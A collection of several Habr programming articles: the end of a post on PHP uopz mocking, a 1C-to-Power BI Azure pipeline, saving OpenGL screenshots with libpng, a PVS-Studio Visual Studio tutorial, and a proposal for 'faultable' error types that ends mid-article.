uopzFunctionConditionReturn($function, array $conditionList, $default = null, $backup = false); // возврат значения по условию. Условие состоит из названия аргумента вызываемой функции и его значения.
uopzFunctionHook($function, Closure $closure, &$return, $backup = false); // перехват функции и возврат значения по ссылке.
```
Ну, и, собственно, решение тех двух проблем с помощью «этого»:
#### 1. Последовательный *return*
```
$this->uopzFunctionConsistentReturn('mysql_query', [
['id' => 12, 'data' => 'dummy'],
['id' => 31, 'data' => 'dummy'],
['id' => 45, 'data' => 'dummy'],
]);
// Или, второй способ, с помощью условий (здесь он избыточен, конечно):
$this->uopzFunctionConditionReturn('mysql_query', [
['query', 'SELECT * FROM table1', ['id' => 12, 'data' => 'dummy']],
['query', 'SELECT * FROM table2', ['id' => 31, 'data' => 'dummy']],
['query', 'SELECT * FROM table3', ['id' => 45, 'data' => 'dummy']],
]);
```
#### 2. Перехват выполнения
```
$this->uopzFunctionHook(
['ClassName', 'sendSomething'],
function() { return $data; }, // просто возвращаем полученный параметр
$data // сюда по ссылке мы получим то, что из myMethod передается в sendSomething как $data
);
```
Мне это сэкономило огромную кучу времени, поэтому — решил поделиться. Надеюсь, кому-то это тоже станет полезным. И еще больше надеюсь, что в мире с каждым днем будет становится все меньше такого кода, где это будет полезно :)
Спасибо за внимание. | https://habr.com/ru/post/316140/ | null | ru | null |
# Как мы делали сквозную аналитику из 1C в Power BI
В странах СНГ принято создавать отчеты о деятельности компании в сводных таблицах Excel. Сказать, что это не юзабельно и не юзерфрендли для сложных отчётов – ничего не сказать.
Для наглядности всего ужаса в Excel Можно, конечно, попытаться как-то спасти положение различными графиками диаграмм, поэкспериментировать с VBA, попробовать с его помощью создать дашборд на стероидах, но надо быть готовым к тому, что графика будет начала нулевых, а сам отчёт скорее всего не будет интерактивным. Помимо этого, такие гибриды смотрятся некрасиво на мобильных устройствах и чаще всего оказываются совсем нечитабельными. Проблемой посерьёзнее является частота заполнения данных – раз в месяц, в лучшем случае. Это приводит к тому, что руководитель не может смотреть на положение бизнеса в режиме реального времени и предотвращать проблемы. Ему приходится мириться с положением дел в конце каждого месяца и решать всплывшие проблемы. Столько негатива, а ведь мы ещё даже не перешли на стадию автоматизации выгрузки данных в Excel, где и таятся все «черти» этого тихого омута.
> ***«Шагая в ногу со временем, приходится менять не только обувь, но и походку»***
>
>
Каким бы ни был привычным Excel, многие компании приходят к осознанию того, что для эффективного управления нужны интерактивные дашборды с наиболее частым обновлением данных в них, к тому же с обязательной поддержкой мобильных версий, без ухудшения качества и лишения интерактивности. Сегодня многие предприниматели действительно понимают, что нужно идти в ногу со временем, но нужно согласиться с тем, что довольно сложно найти специалиста, который сможет настроить всю среду автоматизации отчётов в компании.
В связи с этим мы решили поделиться нашим опытом, чтобы помочь наибольшему количеству начинающих специалистов справиться с задачей подключения 1С к Power BI.
Финансовые данные клиента, для которого мы строили аналитику, находятся в нескольких БД 1С 8.3. Сквозную интеграцию производили с использованием облачных сервисов Azure, там уже собраны все необходимые для этого инструменты, в том числе и разнообразные хранилища данных. Конечно, можно обойтись и без Azure ([см. как](https://docs.microsoft.com/ru-ru/power-bi/connect-data/service-gateway-sql-tutorial#create-and-publish-a-power-bi-desktop-file)), но исходный код, в том числе и DAX дашбордов в Power BI, мы показать не можем.
Автоматизация выполнения кода
-----------------------------
В Azure существует ресурс, который позволяет выполнять код в облаке: Automation Account. Сам код должен находиться в специальных модулях, которые называются Runbook. При запуске модуля Runbook выделяется виртуальная машина, которая и будет выполнять исходный код.
Главный плюс: эта служба в связке с Log Analytics позволяет включить гибридную рабочую группу. С её помощью можно привязать локальное устройство к облачному сервису и выполнять код на этих устройствах. Необходимо подметить, что в нашем случае в гибридной группе должно находиться только одно устройство, т.к. нет возможности контролировать на каком гибридном воркере (устройстве клиента) будет выполняться код. Если есть несколько устройств с сервером 1С = создаём столько гибридных групп, сколько и устройств, при этом в каждую группу включаем только одно устройство. Чтобы привязать устройство к гибридной рабочей группе, необходимо установить на него **Windows Monitoring Agent.**
Схема работы компьютера в гибридной группе Ещё одно преимущество – запуск скриптов по расписанию. Можно поставить интервал хоть через каждый час, но достаточно и раза в сутки.
Расписание запусков скриптов Подготовка данных
-----------------
Для начала вам понадобится скрипт на языке 1С, который выгрузит все данные на локальную машину пользователя. В нашем случае запускать его мы будем через батник. Но для беспрепятственной выгрузки данных из базы 1C следует выключить «Безопасный режим»: в таком случае сервер 1С будет разрешать выполнять от имени пользователя наш скрипт.
Итого получаем текстовые файлы в Log-формате, в которых хранится интересующая информация для анализа.
Структура выгрузки из 1с Разберёмся в промежуточных и основных хранилищах данных. Azure SQL мы выбрали как удобный источник данных для Power BI. Для перекачки данных из локального устройства в Azure SQL необходимо промежуточное хранилище, к которому можно подключиться как к внешнему источнику. Им прекрасно может выступать Storage account, который обменивается данными по протоколам HTTP или HTTPS. В него удобно вливать файлы с локального устройства и удобно выгружать их в облачную БД, оперируя командой BULK.
Выгрузка из 1с в Storage account Структуры базы данных
---------------------
Так как выгрузка из 1С имеет одинаковый формат для любой компании (различия наблюдаются только с расчётом некоторых показателей в разных странах), можно заранее подготовить общую структуру таблиц. Но встречаются случаи, когда у клиентов в названии документов столько символов, что такую строку нельзя положить в БД, а это означает потерю целостности данных.
Создавать поля таблицы, используя ключевое слово MAX тоже не самый лучший выход, поэтому мы решаем эту проблему путём параллельного вычисления максимальной длины строк в столбцах каждой таблицы. Затем эта длина попадает в скрипт для автогенерации структуры SQL-таблицы. На больших массивах данных эта операция может сожрать до 30 минут выполнения, но зато сохраняется целостность данных. К слову, название самой таблицы и её столбцов тоже базируется на выгруженных файлах, что может спасти от кастомной структуры документов.
```
$encoding = New-Object System.Text.UTF8Encoding
$delimiter = "`t"
$reader = $CloudBlob.OpenRead()
$reader = New-Object System.IO.StreamReader($reader, $encoding)
$headers = $reader.ReadLine() -split $delimiter
$result = [ordered]@{}
foreach($header in $headers)
{
$result[$header] = 0
}
while(-not $reader.EndOfStream)
{
# Get Header in first line
$csv = $reader.ReadLine() | ConvertFrom-Csv -Header $headers -Delimiter $delimiter
# Get the largest row in a column
foreach($header in $headers)
{
$item = $csv | Select-Object -ExpandProperty $header
if($result[$header] -lt $item.Length)
{
# Put or Replace largest row info
$result[$header] = $item.Length
}
}
}
```
Решение проблемы выше также позволят автогенерировать условия процедуры BULK. Плюс, в таком случае структура таблицы всегда будет совпадать с файлом, а значит, можно подкидывать обработчику вообще левые файлы в формате Log, и процедура BULK не будет сыпать ошибками о несоответствии структуры таблицы и файла.
В скрипт остаётся добавлять только статические переменные, которые хранят условия команды MERGE. Эта процедура, как многим известно, позволяет консолидировать данные не вписывая дубликаты строк по их полям-идентификаторам. А значит:
1. Можно выгружать данные только за какой-то короткий срок
2. Быть уверенным в отсутствии аномалий в отчёте
Для реализации команды BULK понадобятся промежуточные хранилища данных. Таковым выступает вышеупомянутая учётная запись автоматизации. В Azure SQL можно создать внешний источник данных, который будет иметь доступ к учётной записи хранения через SAS-токен. Токен также можно создавать автоматизированно, а для безопасности установить срок действия на пару часов.
Выгрузка из 1с в Azure SQL Теперь у нас имеется подготовленный DWH для Power BI отчёта. Остаётся только развернуть новый workspace, развернуть в нём приложение-шаблон и вписать данные для входа в Azure SQL. К сожалению, сделать это через api невозможно. Ждём, пока такая возможность появится. Для наглядности описанного выше, приложим схему ежедневной выгрузки:
Схема ежедневной выгрузки данных Как это выглядит в конечном результате?
---------------------------------------
Когда речь идет о дашбордах, многие не представляют себе как это выглядит и какой функционал можно реализовать. В связи с этим, мы решили добавить к технической инструкции, обзор одного из получившихся дашбордов. Специалисту важно понимать всю ценность дашбордов для будущих работодателей или клиентов.
Отчет "Товарооборот Дистрибьюторской компании"
----------------------------------------------
Цель отчёта - показать руководителю эффективность работы отдела продаж, выявить проблемные категории товаров, узкие горлышки в процессе закупа и хранения товаров. И на основе информации вовремя принимать управленческие решения. Отчёт состоит из соответствующих дашбордов, между которыми можно переключаться.: Анализ продаж, Сравнение продаж, KPI, Анализ склада.
Верхняя панельПо данной [ссылке](https://app.powerbi.com/view?r=eyJrIjoiZDhmNmYyZDEtOGIxNS00YWE1LThmNDctYTBkODY2MzExYjdmIiwidCI6ImU5ZmM4OTc5LTY5OWMtNGQxNC1iNjQ3LTgxMDY0MjBjNmU5NiIsImMiOjl9), вы можете познакомиться с интерактивными дашбордами и проверить все в действии. Кликайте, фильтруйте, переключайтесь между страницами - функционал для этого и создан :)
**Для примера разберём первый дашборд отчёта: Анализ продаж**
***Данный дашборд можно поделить на три основных блока:***
1. Верхняя панель: навигация по дашбордам и фильтры
2. Левая верхняя: топ продаж
3. Остальное: детали по категориям
Дашборд "Анализ продаж"**3. Выведены продажи по различным категориям.**
* Продажи по группам товаров и бренду KZT: по pie- chart можно «провалиться» к каждой группе и посмотреть данные о брендах, следует отметить что один бренд может относится к разным группам. Этот график удобен чтобы отслеживать именно продажи по группам и из каких брендов состоит определенная группа, нежели чем по брендам. Все графики имеют связь между собой. Нажав на одну из категорий, дашборд отфильтруется по ней и можно будет увидеть информацию по конкретной категории в разрезе городов и менеджеров.
* Продажи по городам: представлены данные о продажах по городам, от большего к малому. Нажав на определённый город, вся информация отфильтруется по нему.
* Продажи по менеджерам и клиентам в KZT: можно не только сравнить объём продаж менеджеров, но и «провалиться» и увидеть данные о клиентах каждого менеджера
* Продажи в KZT: на данном графике представлены продажи по группам по месяцам: с января по июль.
Первый дашборд является аналитическим и показывает только общую картину. Позволяет быстро найти проблемные зоны и моменты, на которые стоит обратить внимание. Для более детальной информации и выявления причин пользователь может перейти на следующие страницы отчёта, где будет дана более детальная информация, в т.ч. в виде таблиц с подсвеченными аномалиями.
Отчёт обновляется ежедневно, поэтому каждый день пользователь будет видеть реальный ход дел и эффективность принятия решений. | https://habr.com/ru/post/650057/ | null | ru | null |
# PVS-Studio for Visual Studio
Many of our articles are focused on anything, but not the PVS-Studio tool itself. Whereas we do a lot to make its usage convenient for developers. Nevertheless, our efforts are often concealed behind the scenes. I decided to remedy this situation and tell you about the PVS-Studio plugin for Visual Studio. If you use Visual Studio, this article is for you.
What is static code analysis and why we need it
-----------------------------------------------
Static code analysis is the process of detecting errors and flaws in the source code of programs. Static analysis can be considered as a process of automated code review. Joint [code review](https://www.viva64.com/en/t/0073/) is a wonderful methodology. However, it has a significant drawback — high cost. It's necessary to gather several programmers to review newly written or rewritten code after the modifications made in it.
On the one hand, we want to review code regularly. On the other hand, it is too expensive. The compromise solution is static analysis tools. They earnestly analyze the source code of programs and give recommendations to programmers on reviewing certain code fragments. Of course, a program won't substitute a full-fledged code review, done by a team of developers. However, the ratio price/benefits makes the static analysis quite a useful practice, applied by many companies. If the reader is interested in precise numbers, I suggest you reading the article "[PVS-Studio ROI](https://www.viva64.com/en/b/0606/)".
There are many commercial and free static code analyzers. A large list of static analyzers is available on Wikipedia: [List of tools for static code analysis](https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis). The list of languages for which there are static code analyzers is quite large (C, C++, C#, Java, Ada, Fortran, Perl, Ruby, ...). Needless to say, we will tell you about the PVS-Studio [analyzer](https://www.viva64.com/en/pvs-studio/).
The main advantage of static code analysis is the opportunity to greatly reduce the cost of eliminating defects in a program. The earlier an error is detected, the less expensive it is to correct it. Thus, according to the book «Code Complete» by McConnell, error detection at the code testing stage is ten times more expensive than at the stage of code designing (coding):
*Figure 1. Average cost of correcting defects depending on the time of their appearance and detection in code (data in the table is taken from the book 'Code Complete' by S. McConnell)*
Static analysis tools allow detecting a large number of errors, typical for the stage of code designing, which significantly reduces the cost of the whole project development. For example, the PVS-Studio static code analyzer can be run in a background mode right after compilation and in case of finding potential errors will notify a programmer. More on this mode will be given below.
PVS-Studio Static Code Analyzer
-------------------------------
PVS-Studio is a static analyzer that detects bugs and potential vulnerabilities in the source code of applications in C, C++ (other supported extensions: [C++/CLI](https://ru.wikipedia.org/wiki/C%2B%2B/CLI) and [C++/CX](https://ru.wikipedia.org/wiki/C%2B%2B/CX)), C# and Java on Windows, Linux and macOS platforms. The analyzer is superbly integrated into the Visual Studio 2010 — 2019 and IntelliJ IDEA IDEs. In this article, we'll take a closer look at PVS-Studio, checking the code in C, C++, and C# languages. You can read about how to use PVS-Studio to check Java code in IntelliJ IDEA [here](https://www.viva64.com/en/m/0044/).
After PVS-Studio installation and its integration in Visual Studio, users get an additional item «PVS-Studio» in the main menu and the window for working with error messages:
*Figure 2. The main items that the PVS-Studio analyzer adds when integrating into Visual Studio.*
### Initial Settings
The analyzer is ready to work right after installation. In most cases, you don't need to configure anything for the first run. The only setup you might need in the beginning is the exclusion of third-party libraries. You're not going to fix anything in the original files, for example, the jpeg library, so there's no need to check it. In addition, excluding of unnecessary folders will speed project analysis up. The directory's exceptions are set here: PVS-Studio > Options… > Don't Check Files > PathMasks (see Figure 3).
*Figure 3. Editing a list of directories that the analyzer won't check.*
If in the full file name there is one of specified names, the analysis won't be performed for this file. By default, names of some directories are already included in the list. However, in your project, the directory with the ZLib library can be called not «zlib», but, for example, «zip\_lib». Therefore, this list should be edited. To start editing, you need to click a button with three points.
Examples of acceptable masks for the PathMasks list:
* c:\Libs\ — all files in this directory and its subdirectories will be excluded.
* \Libs\ or \*\Libs\\* — all files in the directories, the path to which contains the subdirectory «Libs» will be excluded. If the symbols "\*" aren't specified, they will be added automatically anyway, so both options are equal.
* Libs or \*Libs\* — all files, the path to which contains the subdirectory, the name of which is equal to or contains 'Libs'. Also in this case all files, containing Libs in their name, for example, c:\project\mylibs.cpp, will be excluded. To avoid confusion, we recommend to always use slashes.
In addition to excluding entire directories, you can set masks to exclude individual files. To do this, there is the setting FileNameMasks. Find out more about how to work with exception lists in the documentation: [Settings: Don't Check Files](https://www.viva64.com/en/m/0014/).
### Project Check
When you complete the initial settings, you can start checking the project. PVS-Studio for Visual Studio supports checking of C++ (.vcxproj) and C# (.csproj) projects. You can also immediately try to check the entire solution, which contains projects of these types. To do this, select the Extensions menu item Extensions > PVS-Studio > Check > Solution (See Figure 4).
*Figure 4. Check of a solution using the PVS-Studio analyzer.*
If there are some difficulties with the check, we recommend referring to the section "[PVS-Studio: Troubleshooting](https://www.viva64.com/en/m/0029/)" on our website. These are not stupid recommendations in the spirit of «check that the plug is inserted into the socket.» The section describes typical situations of users' requests and suggests options.
### Working With a List of Diagnostic Messages
After the check, all diagnostic messages will be displayed in a special window. The window has many control components. All of them serve to show exactly those diagnostic messages that are interesting to the user. However, at the first moment the window may seem complicated. Let's look at all control components (see Figure 5).
*Figure 5. A window with diagnostic messages.*
1. Well, here is the PVS-Studio window.
2. Additional menu. Allows you to access options such as marking warnings as false, hiding messages, adding files to exceptions (read about this below).
3. The button enables messages «something went wrong.» For example, one of the files can't be preprocessed.
4. Go to the previous/next message. This opens the relevant file and the cursor is placed on the line with a potential error. Also you can always select a diagnostic from the list with a double click. You can [set hot keys](https://www.viva64.com/en/b/0296/) for transitions to the previous/next message. By default, it's Alt+'[' and Alt+']'.
5. Buttons that include warnings of different levels. The first two diagnostic levels are now enabled. At the same time, the window shows 90 warnings of the first level, 6700 warning of the second level. The message level is shown on the left side of the window as a strip, corresponding to the strip color on the matching level button. Why are there so many triggerings? Why 6700 warnings? To demonstrate the abilities of the interface, a set of [MISRA](https://www.viva64.com/en/b/0596/) rules is enabled, which is inappropriate for regular applications :).
6. Active sets of diagnostic rules. General — general diagnostics, Optimization — micro-optimization, 64-bit — 64-bit diagnostics, MISRA — MISRA C and MISRA C++ standards diagnostics. All kinds of warnings are now displayed in the window.
7. The indicator shows the number of warnings, marked as false (False Alarms). You can enable/disable display of marked messages in settings — PVS-Studio > Options… > Specific Analyzer Settings > Display False Alarms.
8. Quick filters. For example, you can shorten the list to only messages with V501 code and the ones in the XYZ project.
9. Some diagnostics suggest paying attention not to one, but several lines. In this case, dots appear next to the line number. Clicking on it, you can see the list of lines and choose one of them.
The table with diagnostic messages is divided into the following columns:
* **Level.** The level of certainty which indicates that an error, not a code smell was found. Level 1 (red) shows the most suspicious places. Level 3 (yellow) is probably a non-essential inaccuracy in the code.
* **Star.** It doesn't have a specific purpose. Users can interpret it as they wish. For example, a user can mark the most interesting warnings for further careful analysis. The analogy is the star mark of emails in mail clients like Thunderbird or Outlook.
* **ID.** Unique message number. It can be useful when dealing with a large list. For example, you can go to a message with a specific number (see «Navigate to ID...» in the [context menu](https://www.viva64.com/en/m/0021/)).
* **Code**. Message code. If you click on it, you'll open a page describing the warning.
* **CWE.** Allows you to [identify](https://www.viva64.com/en/cwe/) a warning by the CWE (Common Weakness Enumeration) code. When you click on the link, you can see a description of this CWE in the network.
* **MISRA.** Same as above, but for the [MISRA standard](https://www.viva64.com/en/b/0596/).
* **Message**. The text of the diagnostic message.
* **Project**. Project name (you can disable this column using a context menu).
* **File**. File name.
* **Line**. Line number. **Important!** Note that some lines end with dots. Example: «123 (...)». By clicking on this number, you'll get a list of all the lines of code that relate to this message. At the same time, you can go to each of the lines in the list.
Yes, it was exhausting to read it all. However, I assure you, having started to use it, you will quickly get used to the tool. And you'll rarely click something to set up.
### Context Menu
So, by double clicking on the message, you go to the relevant piece of code. By the click of the right mouse button, the context menu opens.
The menu is quite simple, and I won't clutter the article with the description of each item. If something is not clear, you can look into the documentation.
Nevertheless, I'd like to dwell on one very useful feature. Do you remember that in settings you can add folders/files to be excluded? The thing is that adding something is much simpler than it seems!
Pay attention to the menu option «Don't check files and hide all messages from...». When you click on it, you get a list of paths that you can add to the exceptions (see figure 6).
*Figure 6. Excluding files from the check.*
You can choose a separate file or one of the directories. The picture shows that the folder «SDL2-2.0.9\src\haptic\windows» is chosen. This means that all the files in this folder and all subfolders will be excluded from the analysis. What's more, all messages related to these files will disappear from the list immediately. Very convenient. You don't need to restart the analysis to remove all messages related to the tests.
Incremental Analysis Mode
-------------------------
Introduction to PVS-Studio will be incomplete, if we conceal one of the most important features — [incremental code analysis](https://www.viva64.com/en/m/0021/).
The earlier an error is detected, the less expensive it is to eliminate it. The best option is to highlight errors in the edited program text straight away. However, it is technically difficult and resource-intensive. That's why PVS-Studio runs in the background mode when the fixed code is successfully compiled. In so doing, you look for bugs in the code that has just been changed. The icon in the system notification area indicates that the analysis is running.
When an error is found, a pop-up window appears, warning of danger (see Figure 7).
*Figure 7. A pop-up message, reporting that suspicious places have been found in edited files.*
If you click on the icon, you will open the IDE with the result of the project check (see Figure 2) and you can dig into suspicious code fragments.
In fact, it's easier to try working in this mode than to describe it. You write the code as before. When it is needed, the analyzer will disturb you. Give it a shot!
We use this mode all the time. Yes, we also sometimes make coding errors. The ability to fix them immediately significantly reduces the time for detecting the defect and trying to understand why the program is not behaving as intended. It's very upsetting to spend 15-20 minutes debugging to eventually find a typo in the index. Here's one of the cases when PVS-Studio found an error in PVS-Studio right after it appeared in the code:
```
if (in[0] == '\\' && in[1] == '.' && in[1] == '\\')
{
in += 2;
continue;
}
```
Well, the most interesting is yet to come. The PVS-Studio analyzer can sometimes be much more useful than this. Here's one of the reviews about our analyzer: "[A User's Experience of Working with the Analyzer](https://www.viva64.com/en/b/0221/)". The text makes me wonder.
Let me sum it up. Incremental analysis is something you should definitely try. You'll love it as soon as you find a couple of blunders in the fresh code.
PVS-Studio Capabilities
-----------------------
Let's be brief. It is impossible to succinctly describe all the diagnostics that are available in PVS-Studio. A full list of diagnostics and their detailed description can be found in the documentation: [Description of detected bugs](https://www.viva64.com/en/w/). Let's settle upon the table in which diagnostics are grouped by type. Some diagnostics are in more than one group. The fact is that classification is quite formal. For example, a typo can result in the use of uninitialized memory. Some of the errors, on the contrary, couldn't fit any of the groups, because they were too specific. Nevertheless, this table gives the insight about the functional of the static code analyzer.
*Figure 8. PVS-Studio capabilities.*
As you see, the analyzer is especially useful is such areas as looking for Copy-Paste bugs. It's great at detecting problems related to code security.
To see these diagnostics in action, have a look at the [error base](https://www.viva64.com/en/examples/). We collect all the errors that we've found, checking various open source projects with PVS-Studio.
SAST
----
PVS-Studio is a static application security testing tool. The analyzer can detect potential vulnerabilities in the project's code and show the appropriate error identifier in a certain classification.
PVS-Studio supports the following error classifications:
1. CWE
2. SEI CERT
3. MISRA
You can enable display of CWE codes by the context menu in the analyzer window by the path Show Columns > CWE
*Figure 9. Context menu and the example of CWE output.*
Or in the main menu (Extensions > PVS-Studio > Display CWE Codes in Output Window)
*Figure 10. Extension's menu.*
MISRA diagnostics are enabled separately in the settings:
*Figure 11. A list of detected errors.*
You can read more about these classifications [here](https://www.viva64.com/en/sast/).
Checking Projects From the Command Line
---------------------------------------
PVS-Studio\_Cmd.exe — a utility for checking C++/C# Visual Studio projects (.vcxproj/.csproj) and .sln solutions from the command line. It can be useful to automate the analysis. The program is in the directory where the installation was made — by default it is 'C:\Program Files (x86)\PVS-Studio'.
The program has many [parameters](https://www.viva64.com/en/m/0035/), but first we need only 3 of them:
* --target: project or solution file that needs to be checked.
* --output: plog file where the report needs to be written.
* --progress: show progress of a check.
Here's what the run will look like:
*Figure 12. Output of the PVS-Studio\_Cmd.exe program.*
After running we'll get a plog file with a report, a path to which we specified in the running options. You can convert this report in other formats using the PlogConverter.exe utility. To view the report in IDE, double click a plog file in the finder.
Also you can open the report file in the extension menu by the path Extensions > PVS-Studio > Open/Save > Open Analysis Report…
Detailed information on the utility and its parameters can be found in the [documentation](https://www.viva64.com/en/m/0035/).
False Positives Suppression
---------------------------
Some messages issued by the analyzer will inevitably be false. There's nothing we can do about it. A static analyzer is just a program that doesn't have artificial intelligence and can't pinpoint whether it's a real bug or not.
To fight against false positives, the analyzer provides a set of different mechanisms. They are detailed in the following sections of documentation:
* [Fine tuning](https://www.viva64.com/en/m/0017/).
* A [rough](https://www.viva64.com/en/m/0032/) method that only allows you to work with warnings related to new or modified code.
Conclusion
----------
Of course, we didn't tell you everything about the tool. If I you tell everything, the article will turn into documentation. The aim was to show how easy it is to work with the tool within the Visual Studio environment. You can read about other environments and modes of work in the documentation and other articles on our [website](https://www.viva64.com/en/pvs-studio/). There are a lot of interesting things for programmers, by the way. Come and hang around.
It's worth noting that PVS-Studio doesn't just work in Microsoft environment. We also support the Java language, we can work on Linux and macOS, integrate into CMake and much more. You can find out more in the [documentation](https://www.viva64.com/en/m/).
I wish you bugless bad code and hope you'll enjoy PVS-Studio. If there are any questions, we will always help and give advice. [Write to us](https://www.viva64.com/en/about-feedback/).
Additional links:
-----------------
1. [Code review](https://www.viva64.com/en/t/0073/).
2. [Static Code Analysis](https://www.viva64.com/en/t/0046/).
3. [Static code analysis tools](https://www.viva64.com/en/t/0074/).
4. [SAST](https://www.viva64.com/en/sast/).
5. [Technologies used in the PVS-Studio analyzer](https://www.viva64.com/en/b/0592/).
6. [Download](https://www.viva64.com/en/pvs-studio-download/) and try PVS-Studio.
7. [Visual Studio 2019 Support](https://www.viva64.com/en/b/0630/).
8. Discuss the price of the PVS-Studio analyzer for you team and how to purchase it: [buy PVS-Studio](https://www.viva64.com/en/order/).
9. [Example of using a static analyzer](https://www.viva64.com/en/b/0221/).
10. [Answers](https://www.viva64.com/en/b/0593/) to questions that are often asked at conferences.
11. [How to run PVS-Studio Java](https://www.viva64.com/en/m/0044/)
12. [How to run PVS-Studio on Linux and macOS](https://www.viva64.com/en/m/0036/) | https://habr.com/ru/post/458068/ | null | en | null |
# Сохранение изображения с помощью libpng
Развлекаясь на досуге с OpenGL, решил научиться делать скриншоты средствами программы, а не системы. Довольно быстро нагуглил функцию glReadPixels, но вот с сохранением картинки вышла проблема. Вспомнил былые времена, когда полностью своим кодом сохранял в bmp, нашел функцию сохранения в tga, понял, что все эти варианты попахивают велосипедизмом и решил использовать широко распространенную библиотеку. Выбор пал на libpng.
Дальше пошли грабли.
Оказалось, что никакого описания библиотеки на русском языке нет (собственно поэтому и пишу сейчас этот пост), а английская документация написана не самым удобным образом и не содержит даже простейшего полноценного примера использования.
Ниже я постараюсь объяснить, как средствами libpng сохранить изображение в простейшем случае.
Прежде всего надо подключить заголовочный файл
```
#include
```
В функции/методе, в которой будем сохранять изображение, откроем файл, в который будем сохранять и создадим структуру png.
```
void
Renderer::screenshoot(const std::string& name) {
FILE *fp = fopen(name.c_str(), "wb");
if (!fp) {
return;
}
png_structp png_ptr = png_create_write_struct(PNG_LIBPNG_VER_STRING, nullptr, nullptr, nullptr);
if (!png_ptr) {
goto close_file;
}
```
Теперь нужно создать структуру информации о png, вызвать setjmp, на случай ошибок и инициализировать вывод в файл.
```
png_infop png_info;
if (!(png_info = png_create_info_struct(png_ptr))) {
goto destroy_write;
}
if (setjmp(png_jmpbuf(png_ptr))) {
goto destroy_write;
}
png_init_io(png_ptr, fp);
```
Дальше нужно установить параметры изображения (размеры, количество цветов, количество битов на канал цвета, черезстрочность и сжатие. А также сформировать изображение и массив указателей на отдельные строки изображения.
Тут начинаются грабли.
Грабли №1: функция glReadPixels отдает изображение, строчки в котором идут снизу вверх, хотя обычно работая с графикой мы подразумеваем обратный порядок.
Грабли №2: если указать функции glReadPixels, что мы хотим получить цвета RGBA, то на самом деле мы получим их в порядке ARGB. Досадно, но на то, чтобы выяснить это, у меня ушел час, в течении которого я не понимал, почему у меня не правильно отображаются цвета на скриншоте.
Объявим массив data, в котором будут данные для libpng, и массив argb\_data, в котором будут данные от OpenGL, ну и не забудем про массив указателей rows.
```
png_set_IHDR(png_ptr, png_info, width, height, 0, PNG_COLOR_TYPE_RGB,
PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_DEFAULT,
PNG_FILTER_TYPE_DEFAULT);
unsigned char data[width*height*3], argb_data[width*height*4];
unsigned char *rows[height];
render();
glReadPixels(0, 0, width, height, GL_RGBA, GL_UNSIGNED_INT_8_8_8_8, argb_data);
for (int i = 0; i < height; ++i) {
rows[height - i - 1] = data + (i*width*3);
for (int j = 0; j < width; ++j) {
int i1 = (i*width+j)*3;
int i2 = (i*width+j)*4;
data[i1++] = argb_data[++i2];
data[i1++] = argb_data[++i2];
data[i1++] = argb_data[++i2];
}
}
```
Теперь дело за малым — сохранить изображение, завершить ввод и обработать ошибки.
```
png_set_rows(png_ptr, png_info, rows);
png_write_png(png_ptr, png_info, PNG_TRANSFORM_IDENTITY, nullptr);
png_write_end(png_ptr, png_info);
destroy_write:
png_destroy_write_struct(&png_str, nullptr);
close_file:
fclose(fp);
}
```
Таким, относительно несложным образом можно сохранить изображение в png. Однако, не думайте, что это все, на что способна эта библиотека. Можно следить за процессом сохранения, применять фильтры, использовать черезстрочность, сжатие… Но чтобы разобраться с этим стоит читать оригинальную [документацию](http://www.libpng.org/pub/png/libpng-1.2.5-manual.html).
**UPD.** Спасибо [MrGobus](http://habrahabr.ru/users/mrgobus/) за замечание по поводу glReadPixels и порядка строк. | https://habr.com/ru/post/176163/ | null | ru | null |
# Концепция: Faultable types
Предлагаю концепцию Faultable type — модификацию типов по аналогии с nullable. Суть — в том, что этот тип может принимать особое значение если при выполнении программы что-то пошло не так: не найден нужный файл, произошло деление на 0 и т.д. Этот тип предназначен для работы с ошибками как можно ближе к месту их возникновения, в отличие от исключений, которые больше подходят для того, чтобы работать с ошибками централизованно. Чтобы не переключать 100500 раз раскладку, буду называть его «ошибаемым типом», как бы забавно это не звучало.
Объявление
----------
Любую переменную или аргумент функции можно объявить ошибаемой.
```
faultable int number;
faultable string fileName;
faultable Customer user;
void markCustomer (faultable string name){
...
}
```
Возвращаемое значение функции становится ошибаемым по факту, если в какой-то из ветвей есть возврат ошибки либо ошибаемого значения.
Автоматический тип считается неошибаемым, если не указано обратное.
Присвоение ошибки
-----------------
Основная особенность, ради которой вводится этот тип — возможность присваивать ему особое значение — значение ошибки с помощью специального ключевого слова. Значение ошибки может сопровождаться описанием или классом ошибки.
```
number = fault;
filename = fault("Невозможно создать файл");
return(fault(EOleException));
```
Присвоения обычному типу
------------------------
В отличие от обнуляемых типов, ошибаемый тип может напрямую передавать значение в переменные неошибаемого типа и наоборот:
```
faultable int selNumber = 255;
...
int outNumber = selNumber;
```
Но при попытке присвоить неошибаемому значению ошибку, компилятор должен выйти из функции, возвращая ошибку:
```
faultable int selNumber = fault;
...
int outNumber = selNumber;//Здесь функция должна завершиться
```
Ошибка должна выбрасываться, если ошибка, возвращаемая функцией ничему не присваивается
```
int parseMyDate(string strDate)
{
...
return(fault);
}
...
parseMyDate("This is not a date");//Выброс
```
Доступ к любому полю, методу или свойству объекта или структуры, которой присвоена ошибка, ведёт себя так же, как чтение из ошибаемого поля, содержащего ошибку:
```
faultable Customer payer;
...
payer=fault("Customer not found");
...
faultable string name = customer.name;//Здесь не возникнет ошибки
```
В случае поддержки механизма ошибаемых типов вместе с механизмом исключений также можно добавить оператор, выбрасывающий в этом случае обычные исключения, которые в дальнейшем можно обрабатывать с помощью try...catch. Либо вовсе сделать такое поведение по умолчанию.
Присвоение без выброса ошибки
-----------------------------
Чтобы при присвоении ошибаемого типа неошибаемому не возникло ошибки, достаточно использовать специальный оператор.
```
name=customer.name nofault;//Ошибка не будет выброшена, но нового значения переменной name присвоено не будет
```
Этому оператору можно передать значение, которое будет присвоено в случае ошибки
```
name=customer.name nofault "unknown";
```
А также перечень ошибок, для которых он сработает:
```
var file=openFile(path) nofault(EFileNotExists) createFile(path);
```
Ну и конечно можно просто проверить переменную на наличие в ней флага ошибки
```
if (!variable.isFault()){
outVar = variable;
}
else
{
...
}
```
Плюсы
-----
### Простота и лаконичность
Согласитесь, что `amount = struct.getField("amount").toInteger() nofault 0;` выглядит короче, чем
```
try
{
amount = struct.getField("amount").toInteger();
}
catch
{
amount = 0;
}
```
### Накладные расходы
Многие программисты не любят исключения за то, что они создают много накладных расходов. Это конечно зависит от конкретной реализации языков, но есть слишком много нюансов, которые мешают оптимизировать обработку исключений. Данный же способ обработки ошибок почти бесплатен.
### Отладка
